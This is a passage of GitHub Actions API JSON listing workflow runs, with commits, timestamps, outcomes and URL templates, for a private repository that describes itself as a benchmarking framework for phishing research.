extract_train_features","timestamp":"2020-10-04T03:56:09Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287367688,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzY3Njg4","head_branch":"API_Flatten","head_sha":"151e404c37f8e215dcbff51610120fa8f4b0e909","run_number":1062,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1285349718,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MzQ5NzE4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287367688","pull_requests":[],"created_at":"2020-10-04T03:32:40Z","updated_at":"2020-10-04T03:48:09Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285349718","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"151e404c37f8e215dcbff51610120fa8f4b0e909","tree_id":"366c7a9c966876764796bacb8475fae8a9e59a38","message":"Unified extract_train_features","timestamp":"2020-10-04T03:32:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287358340,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzU4MzQw","head_branch":"API_Flatten","head_sha":"0e5e40548d746086d5c0d1f32fee8fe45bfc1561","run_number":1061,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285333349,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MzMzMzQ5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287358340","pull_requests":[],"created_at":"2020-10-04T03:22:19Z","updated_at":"2020-10-04T03:37:18Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285333349","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"0e5e40548d746086d5c0d1f32fee8fe45bfc1561","tree_id":"11eff725a4b3427492ff66e47acb584d9aaa4c2b","message":"Converted extract_email_test_features","timestamp":"2020-10-04T03:22:13Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287337096,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzM3MDk2","head_branch":"API_Flatten","head_sha":"e69f3c7288c742a3edc3ccc89c9a2e67e1197bc5","run_number":1060,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285297615,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1Mjk3NjE1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287337096","pull_requests":[],"created_at":"2020-10-04T03:01:50Z","updated_at":"2020-10-04T03:14:53Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285297615","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"e69f3c7288c742a3edc3ccc89c9a2e67e1197bc5","tree_id":"e9efdde611299f55c9d8981a16179dd9e7fee4f9","message":"Aligned extract_email_train_features and 